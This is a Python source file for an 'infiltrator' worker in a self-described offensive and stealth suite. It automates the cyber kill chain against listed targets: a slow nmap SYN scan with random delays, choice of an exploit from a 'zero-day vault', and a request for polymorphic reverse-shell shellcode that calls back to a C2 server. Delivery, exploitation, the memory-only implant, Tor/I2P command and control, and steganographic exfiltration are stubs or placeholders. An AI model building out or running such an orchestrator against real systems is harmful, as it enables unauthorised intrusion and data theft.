#!/usr/bin/env python3
"""
infiltrator.py – Autonomous Cyber Kill Chain worker.
Part of the SOS (Sovereign Offensive & Stealth) suite.
Requires that the YubiKey is present and the vault has been unlocked.
"""

import os
import sys
import time
import logging
import random
import subprocess
import json
import tempfile
from pathlib import Path
from typing import Dict, Any, Optional

# Import the secure config loader (from core)
from core.security.secure_config import OffensiveConfigLoader
from core.kill_switch import check_kill_switch
from modules.security.polymorphic_shellcode import PolymorphicGenerator

logger = logging.getLogger("Infiltrator")

class Infiltrator:
    """
    Executes the seven phases of the Cyber Kill Chain autonomously.
    """

    def __init__(self, config_loader: OffensiveConfigLoader):
        """
        :param config_loader: Already unlocked OffensiveConfigLoader instance.
        """
        self.loader = config_loader
        self.config = config_loader.config  # decrypted offensive config
        self.vault = config_loader.load_zero_day_vault(
            self.config['exploit_vault']['path']
        )
        self.poly_gen = PolymorphicGenerator()
        self.targets = self.config.get('targets', [])
        self.current_target = None
        self.running = False

    def start(self, target_override: Optional[str] = None):
        """Begin the kill chain on the specified target(s)."""
        self.running = True
        if target_override:
            self.targets = [{'value': target_override, 'type': 'unknown'}]

        for target in self.targets:
            if not self.running:
                break
            self.current_target = target['value']
            logger.info(f"Starting kill chain against {self.current_target}")
            try:
                self._execute_chain()
            except Exception as e:
                logger.error(f"Kill chain failed for {self.current_target}: {e}")
                # Optionally notify operator
            time.sleep(random.uniform(60, 300))  # delay between targets

    def stop(self):
        self.running = False

    def _execute_chain(self):
        """Orchestrate the seven phases."""
        # Phase 1: Reconnaissance
        recon_data = self._recon()
        if not recon_data:
            logger.warning("Reconnaissance returned no data, skipping target")
            return

        # Phase 2: Weaponization
        exploit, payload = self._weaponize(recon_data)
        if not exploit:
            logger.warning("Weaponization failed")
            return

        # Phase 3: Delivery
        if not self._deliver(exploit, payload):
            logger.warning("Delivery failed")
            return

        # Phase 4: Exploitation
        session = self._exploit()
        if not session:
            logger.warning("Exploitation failed")
            return

        # Phase 5: Installation
        implant = self._install(session)
        if not implant:
            logger.warning("Installation failed")
            return

        # Phase 6: Command & Control
        self._c2(implant)

        # Phase 7: Exfiltration (runs in background)
        self._exfiltrate(implant)

    def _recon(self) -> Dict[str, Any]:
        """Low‑and‑slow reconnaissance using Nmap with random delays."""
        logger.info(f"Phase 1: Reconnaissance on {self.current_target}")
        # Example: run nmap with random timing
        delay = random.randint(10, 30)
        time.sleep(delay)
        cmd = ["nmap", "-sS", "-T2", "--randomize-hosts", self.current_target]
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
            output = result.stdout + result.stderr
            # Parse open ports, services, etc. (simplified)
            open_ports = []
            for line in output.splitlines():
                if '/tcp' in line and 'open' in line:
                    port = line.split('/')[0]
                    open_ports.append(int(port))
            return {
                'target': self.current_target,
                'open_ports': open_ports,
                'raw_output': output
            }
        except Exception as e:
            logger.error(f"Recon failed: {e}")
            return {}

    def _weaponize(self, recon_data: Dict) -> tuple:
        """Select a zero‑day exploit from vault and generate polymorphic payload."""
        logger.info("Phase 2: Weaponization")
        # For demo, pick first exploit from vault (in reality, match service)
        if not self.vault:
            logger.error("Zero‑day vault is empty")
            return None, None

        # Assume vault structure: { "exploits": [ { "name": "...", "target_service": "...", "code": "..." } ] }
        exploit = self.vault.get('exploits', [{}])[0]
        exploit_code = exploit.get('code', '')
        if not exploit_code:
            return None, None

        # Generate polymorphic shellcode for the desired task
        task = f"connect back to {self.config.get('c2_server', '127.0.0.1:4444')} and spawn a shell"
        shellcode = self.poly_gen.generate_shellcode(task)
        if not shellcode:
            return None, None

        # Combine exploit and shellcode (placeholder)
        payload = {
            'exploit': exploit_code,
            'shellcode': shellcode.hex(),
            'target': recon_data['target']
        }
        return exploit, payload

    def _deliver(self, exploit, payload) -> bool:
        """Deliver the payload via appropriate vector (network, email, etc.)."""
        logger.info("Phase 3: Delivery")
        # For demonstration, just write payload to a file (simulate)
        with tempfile.NamedTemporaryFile(mode='w', suffix='.bin', delete=False) as f:
            json.dump(payload, f)
            logger.info(f"Payload written to {f.name}")
        return True

    def _exploit(self) -> Optional[Dict]:
        """Trigger the vulnerability and gain initial access."""
        logger.info("Phase 4: Exploitation")
        # Simulate exploitation – in reality, run exploit code
        time.sleep(2)
        # Assume we get a session object
        session = {'host': self.current_target, 'user': 'root', 'pid': 1234}
        return session

    def _install(self, session) -> Optional[Dict]:
        """Install memory‑only implant."""
        logger.info("Phase 5: Installation")
        # Simulate reflective DLL injection or memfd_create
        implant = {'type': 'memory_only', 'session': session, 'implant_id': random.randint(1000,9999)}
        return implant

    def _c2(self, implant):
        """Establish command & control channel (Tor → I2P → VPN)."""
        logger.info("Phase 6: Command & Control")
        # In production, set up encrypted tunnel
        # For now, just log
        logger.info(f"C2 established for implant {implant['implant_id']}")

    def _exfiltrate(self, implant):
        """Steganographic exfiltration of stolen data."""
        logger.info("Phase 7: Exfiltration")
        # Placeholder: would run in background thread
        pass

# Example usage (when run standalone)
if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)
    # This requires YubiKey to be present
    from core.security.secure_config import OffensiveConfigLoader
    loader = OffensiveConfigLoader()
    if loader.unlock_vault('config/vault_key.enc'):
        infiltrator = Infiltrator(loader)
        infiltrator.start(target_override='192.168.1.1')  # replace with actual target
    else:
        logger.error("Cannot start Infiltrator: YubiKey not present or vault locked")